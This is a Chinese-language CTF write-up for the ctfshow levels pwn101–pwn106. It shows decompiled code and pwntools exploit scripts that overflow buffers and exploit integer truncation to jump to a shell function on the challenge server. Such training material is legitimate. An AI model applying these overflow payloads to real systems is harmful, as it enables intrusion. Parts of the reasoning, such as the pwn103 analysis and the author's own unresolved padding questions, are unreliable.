pwn101
没啥东西,main函数要求输入对应值,直接交互就好了
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+0h] [rbp-10h] BYREF
int v5; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
puts("Maybe these help you:");
useful();
v4 = 0x80000000;
v5 = 0x7FFFFFFF;
printf("Enter two integers: ");
if ( (unsigned int)__isoc99_scanf("%d %d", &v4, &v5) == 2 )
{
if ( v4 == 0x80000000 && v5 == 0x7FFFFFFF )
gift();
else
printf("upover = %d, downover = %d\n", v4, v5);
return 0;
}
else
{
puts("Error: Invalid input. Please enter two integers.");
return 1;
}
}
16进制转值为10进制,nc交互进入gift函数
gift里面有cat /flag
直接拿到
pwn102
更没东西,main函数要V4值为-1.交互输入进去的就是V4,写个-1进去就拿到flag
pwn103
关键内容都在ctfshow函数中
ctfshow函数代码逻辑分析
- 输入长度:printf(“Enter the length of data (up to 80): “);
__isoc99_scanf(“%d”, &v1);这里要求用户输入数据的长度,并存储在变量v1
中。如果输入的v1
大于80,程序会直接退出:if ( v1 <= 80 )
{
…
}
else
{
puts(“Invalid input! No cookie for you!”);
}因此,输入的长度必须小于或等于80,才能继续执行。 - 输入数据:printf(“Enter the data: “);
__isoc99_scanf(” %[^\n]”, dest);这里要求用户输入数据,并存储在dest
数组中。dest
数组的大小是88字节,因此理论上可以存储最多87个字符(加上一个字符串结束符\0
)。 - 内存拷贝:memcpy(dest, src, v1);这里将
src
的内容拷贝到dest
中,拷贝的长度是v1
。然而,src
被初始化为0LL
,即空指针。如果v1
大于0,memcpy
会尝试从空指针拷贝数据,这会导致未定义行为(如程序崩溃)。但如果v1
为0,memcpy
不会执行任何操作,因为拷贝长度为0。 - 条件判断:if ( (unsigned __int64)dest > 0x1BF52 )
gift();这里判断dest
的地址是否大于0x1BF52
。由于dest
是一个局部变量,其地址通常在栈上,且地址值通常远大于0x1BF52
,因此这个条件很容易满足。
输入两次0的逻辑
- 第一次输入0:
- 输入长度
v1
为0。 - 程序会要求输入数据,但因为
v1
为0,memcpy
不会执行任何操作。 dest
数组的内容不会被修改,仍然是未初始化的。
- 输入长度
- 第二次输入0:
- 再次输入长度
v1
为0。 - 程序再次要求输入数据,但
v1
仍然为0,memcpy
仍然不会执行任何操作。 dest
数组的内容仍然未被修改。
- 再次输入长度
- 条件判断:
- 由于
dest
的地址通常远大于0x1BF52
,条件((unsigned __int64)dest > 0x1BF52)
成立。 - 因此,程序会调用
gift()
函数。
- 由于
漏洞总结
这个漏洞的根本原因是:
src
被初始化为0LL
,但没有检查src
是否为有效指针。v1
为0时,memcpy
不会执行任何操作,但程序没有对这种情况进行特殊处理。- 条件
((unsigned __int64)dest > 0x1BF52)
过于宽松,容易被满足。
因此,通过连续输入两次0,可以绕过memcpy
的潜在崩溃,并满足条件调用gift()
函数。
所以进入gift函数即可拿到flag
pwn104
没啥好说的,很标准的整数溢出然后依靠已写的that函数进行提权
第一次传入,传递的值是读取buf的长度,写长点就行了,无所谓的
from pwn import *
p = remote("pwn.challenge.ctf.show",28302)
payload = b'a'*(0xe+8) + p64(0x000000000040078D)
p.sendline(b'21321')
p.sendline(payload)
p.interactive()
pwn105
存在提权函数,拿到地址
dest溢出一下,0x11+4
v3是int 8
实际上就是二进制取八位的值
也就是说,能取的最大值是 1111 1111 = 255
所以要想绕过if条件判断
就需要255+1(这个1是因为还需要算上0这个值,共256个值)+ 4 ~~~264
ljust方法填充一下垃圾数据就行了
char *__cdecl ctfshow(char *s)
{
char dest[8]; // [esp+7h] [ebp-11h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Authentication failed!");
exit(-1);
}
printf("Authentication successful, Hello %s", s);
return strcpy(dest, s);
}
exp:
from pwn import *
p = remote("pwn.challenge.ctf.show",28175)
shell = 0x0804870E
payload = b'a'*(0x11+4) + p32(shell)
payload = payload.ljust(0x104,b'a')
p.sendline(payload)
p.interactive()
pwn106
和105巨像
根据实际交互效果搞上ru正确交互就好了
from pwn import *
# context.log_level = 'debug'
p = remote("pwn.challenge.ctf.show",28231)
shell = 0x08048919
payload = b'a'*(0x14+4) + p32(shell)
payload = payload.ljust(260,b'a')
# cat_flag = shell
# payload = cyclic(0x14 + 4) + p32(cat_flag) + b'a' * 234
p.recvuntil(b'choice:')
p.sendline(b'1')
p.recvuntil(b'username:')
p.sendline(b' ')
p.recv()
p.sendline(payload)
p.interactive()
(还有些许问题,为什么被注释掉的payload也能用,为什么后补齐的垃圾数据长度是234,不就应该是256+3~~~256+7吗,奇奇怪怪的)